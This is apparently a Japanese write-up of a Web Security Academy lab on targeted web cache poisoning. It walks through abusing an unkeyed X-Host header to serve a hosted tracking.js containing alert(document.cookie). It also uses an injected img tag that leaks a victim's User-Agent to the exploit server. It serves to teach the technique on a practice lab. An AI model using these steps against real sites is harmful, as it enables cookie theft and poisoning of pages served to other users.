Hello there, ('ω')ノ
不明なヘッダを使用してターゲットを絞ったWebキャッシュポイズニングを。
今回は、複数の手順が必要なようで。
脆弱性がどこにあるかを特定して。
キャッシュがどのように動作するかを調べて。
キャッシュをポイズニングする前に。
ユーザの適切なサブセットをターゲットにする方法を見つけて。
ホームページ生成したリクエストをリピーターへ。
下記のキャッシュバスタークエリパラメータを追加して、Sendして。
X-Host: example.com
このヘッダ値は、下記のファイルをインポートするURLを動的に生成して。
/resources/js/tracking.js
被害者をシミュレートするには、URLをロードしてalert()を確認する必要があって。
User-Agentは、キャッシュキーの一部として使用されていて。
被害者を標的にするには、被害者のユーザエージェントを見つける必要があって。
まずは、Exploit Serverを起動して。
FileとBodyを入力して。
/resources/js/tracking.js
alert(document.cookie)
一旦、Storeして。
Exploit ServerのURLと先ほどのヘッダ値を入れ替えて、Sendして。
acb41f491f6ab8dc801e0da801540059.web-security-academy.net
ここで、ブログへの書き込みをして、Post Commentを。
<img src="https://acb41f491f6ab8dc801e0da801540059.web-security-academy.net/foo" />
Back to blogして。
コメントが反映されたことを確認して。
Exploit Serverのログを確認して、User-Agentをコピーして。
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
User-Agentを
書き換えてSendして、X-Cache: hitに
なったら。
クリアできた。
Best regards, (^^ゞ